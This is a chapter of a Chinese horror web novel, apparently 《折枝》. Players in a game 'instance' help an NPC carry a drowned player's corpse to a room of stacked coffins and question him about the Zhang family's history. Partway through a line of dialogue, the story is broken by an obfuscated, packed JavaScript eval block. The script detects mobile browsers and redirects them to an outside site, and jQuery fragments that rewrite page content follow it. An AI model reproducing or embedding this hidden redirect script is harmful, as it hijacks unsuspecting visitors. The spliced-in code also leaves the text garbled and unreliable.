12. 抬尸

作品:《折枝

    阿大找来一把冰镐砸开薄薄的冰面,NPC直接跳了下去,将尸体拖回岸上。


    这具尸体死亡的时间不长,加上逼近零度的水温,使他没被泡出肿胀的恐怖模样。他只是浑身死白,湿淋淋地躺在地上,已经不会转动的眼珠看着漆黑的天。


    “没有挣扎的痕迹。”商徵羽检查了尸体的手脚,“但眼睛又是睁开的。”


    虽然没人看到他是如何落入水中的,但可以猜到他应当与那位自焚的玩家一样,是亲手了结了自己的性命。


    玩家是不会无缘无故寻死的。


    一股寒意悄然浮上心头。


    也许在长明灯熄灭的那一刻他们就已经死了,只是不知道为什么有的玩家横死当场,有的玩家却犹如一具行尸走肉走出灵堂,又用离奇的方式自尽。


    商徵羽并没有急着与陆遥归讨论玩家死法的蹊跷之处,她想到了更加重要的东西,起身后看向一旁盯着玩家尸体若有所思的阿大:“有人死了,应该要把他的尸体搬去其他地方吧?”


    阿大的目光转移至她的脸上。


    这些NPC好似是活人,但又处处体现出怪异,方才阿大跳进水里打捞尸体,数九寒天,表层结了冰的池水,阿大却丝毫不被刺骨的严寒影响,明明刚从冰水里出来,夜晚的寒风又呼呼地吹,但他没显出半分不适,只有沉重的湿衣证明他确实下过水。


    商徵羽直直对上他像是蒙了一层白灰的眼睛,神情自若,无惧无畏。


    “这附近没有其他人。”商徵羽说道,“一个人不好搬抬,我们可以帮忙。”


    商徵羽想知道尸体的下落很久了,眼下终于让她得到一个机会。


    “你说得对。”阿大如她预料的一样接受了这个提议,NPC去到附近的屋中,没有找到木板,于是只扯了一张白布,草草将尸体包裹住。


    缠了两圈的白布勾勒出明显的人形,整张面容虽以隐藏在白布之下,但人的脑海中仍时不时会浮现出那双死不瞑目的眼睛。


    阿大走到尸体的脑袋那边,双手绕过头颅托住肩,同时问道:“你们谁来?”


    商徵羽很有陆遥归是自己老板的自觉,主动走过去,抓住尸体被冻得像冰块一样的脚脖子。


    两人就这样一前一后地抬起尸体,往张家祖宅安放死人的地方走去。两头搬尸体的活都有人干了,陆遥归试探着跟上二人,走了好几步NPC都没有出声阻止,这才放心地跟了上去,全程一句话都不说,老老实实当她的背景板。


    阿大在前头引路,带着商徵羽七绕八绕。张家祖宅占地格外辽阔,还融入了数种不同地区建筑的设计理念,使得其中道路错综复杂,很容易叫人走得晕头转向。但商徵羽手头虽然没有地图,脑子里的地图却清清楚楚,一下子就将目的地与张宅南边的一座无名院落对上了。


    这间院落距离西边的夫人故居很近,是先前从未去过的地方。


    院子里只点了两盏白纸灯笼,灯笼悬挂在中间那排房屋正门的两侧。白雪纷飞,落在院中那几株漆黑的枯树上,身披丧服的人抬着白布包裹的尸体走入其中,其中一人说道:“到地方了。”


    说话的是走在前头的阿大,抬尸的一路上他都相当沉默,死气好像从尸体蔓延到了其他人身上。直至来到这间院子里,阿大才对陆遥归说道:“你,去把门推开。”


    陆遥归特别麻利地跑过去推开门,原来她还是有点用的,难怪她跟在旁边时NPC没有赶人。


    门板与门框连接的地方生了锈,推开时能明显感觉到阻力,还会听到难听的嘎吱声。室内不比下着雪的室外温暖,阴冷的气息扑面而来,裹挟着明显的木头味道。


    “你左手边的桌上有支蜡烛,火柴也在边上。”阿大又说道。


    借着门口白纸灯笼的微弱光芒,陆遥归成功摸到了火柴。张家祖宅里有太多对她来说过于古老的东西,玩家住处里灯绳控制的电灯算是非常先进的了,陆遥归看到最多的其实还是蜡烛。


    火焰腾的一下燃起,陆遥归将火柴凑过去点亮那支插在烛台上的蜡烛。金红色的火焰,暖黄的烛光,总算叫这个阴气森森的地方多了些暖意。


    陆遥归端着烛台一转身,烛光便照亮了她先前看不清的东西,陆遥归的脚步顿了一下。


    棺材,密密麻麻的棺材。


    这间屋子里竟是摆满了棺材,一具叠着一具,占据了绝大部分空间,仅留出只容一人通过的狭窄通道。陆遥归还是头一回看到这样的场面,顿时觉得头皮发麻。


    陆遥归扭头看向门外的一人一NPC,NPC当然不会对满室棺材做出任何反应,但同样看到了这一切的商徵羽表情也毫无变化。


    好像就没有什么东西能让商徵羽的情绪起变化……


    陆遥归在心里吐槽,也不知道是商徵羽性格本就如此,还是在副本中锻炼出来的。


    两个人抬着尸体走了进来。


    陆遥归自觉地退到边上给她们让出一条路,等她们走过去了才端着蜡烛跟上。不似灵堂里好似有什么诡异的吸光物质,这间房间就正常多了,蜡烛照亮了它应该照亮的范围。只是两侧棺材密布,绝大部分光线都会被棺身遮挡。


    棺材说是一具叠着一具,但并不是直接叠放的。屋子里摆了许多专为棺材的尺寸定制的架子,每只架子从上至下,能摆下六具棺材。


    六口棺材垒起来后已然超过陆遥归的身高,三人走在中间那条贯穿房间的通道上,两侧像是棺材形成的墙。


    “为什么会有这么多棺材?”商徵羽的语调没什么起伏。


    “张家就是做棺材生意的,有什么可奇怪的。”阿大的声音也没有起伏。


    “我没怎么了解过主家,您好像是张家的老人了,能和我们说一下吗?”商徵羽又说道。


    陆遥归侧过脸,不发出声音地笑了下。


    商徵羽好像不存在演技这种东西,从NPC嘴巴里套信息时语气相当没诚意,陆遥归听她和阿大说话,就好像听两个AI在对话,好在这是在副本里,商徵羽这样问问题,还真就被她问到了想知道的信息。


    “张家做棺材生意……做了有好几百年了。”阿大语气平淡,“朝代都改换了两次,张家还是在做这门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913212|160251||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生意……不过这一代,或许会不一样。”


    陆遥归插话:“要改行了?”


    这个问题没有得到解答。


    阿大说道:“这不是你们需要知道的事。”


    商徵羽也有一个疑问。


    “你说张家做了几百年生意……”商徵羽问道,“这座宅子,也存在了那么久吗?”


    阿大的脚步顿住。


    随即他那边松了些力,把尸体往下放,“到了,放下吧。”


    商徵羽顺着阿大的力道把尸体放下了。


    但她忍不住在想,阿大停下脚步仅仅因为地方到了,还是和她方才的问题也有几分关系?


    阿大走进纵向的通道,一个人就把一具位于底层的棺材拖了出来。这些架子的设计很巧妙,底层的棺材一个人拖出来很容易,上面的棺材两个人一起拖也够了。


    这些普普通通的棺材与灵堂那具半人高的彩绘棺材不同,是刚好能将一个成年人塞进去的尺寸。


    阿大掀开盖子,里面是光秃秃的木板。NPC没有把包裹住玩家尸体的白布掀开的意思,看到他又去托尸体的肩背后,商徵羽很上道地提起尸体脚脖子,两人一用力就把尸体放进棺材里。


    “祖宅很重要。”阿大一边说着,一边回答了商徵羽的问题,“这里是张家的根基,张家因它而存在。”


    阿大的说法很奇怪。


    更正常的说法应该是祖宅因张家而存在,可阿大却将祖宅放在了关键的位置。


    商徵羽一下子就领悟了其中的隐藏信息。


    撇开张家赋予它的意义,这个地方本身就藏着秘密。


    装进尸体的棺材被阿大盖好盖子后推了回去,在此间隙,商徵羽观察了周边的其他棺材,看到了打开过的痕迹。


    “之前那些死掉的人,也在这里吗?”商徵羽的心里已经有了答案。


    “第一个,在这里。”阿大点了点新尸体上方的那口棺材,随后点了点对面的两口棺材,“后面两个,在那里。”


    又不一样。


    不一样的死法,不一样的位置。商徵羽有一种预感,只要弄明白是什么造成了区别,这个副本的大部分背景就能如拨云见日那般分明。


    虽然猜到了大概率不会得到回答,但商徵羽还是问了:“为什么,没有把他们放在一起?”


    阿大笑了一声,是带着讥讽的笑。


    他确实没有明确回答商徵羽的问题,但还是给了一个令人忍不住各种解读的答案。


    “人和人是不一样的,死人和死人当然也是不一样的。”阿大说道。


    “他们都是下人。”商徵羽道。


    这个说法非常封建,但在这个副本里就是如此。


    “下人和下人就一样吗?”阿大反问她,“一个念头,就可以划分出不同下人的地位……”


    他拍了拍手边的一口棺材,因为高度的问题,阿大拍到的是那位自焚而死的玩家的棺材。


    但他说出的话,却是在同时说被烧死和被淹死的那两位。


    “他们两个人,真的很幸运。”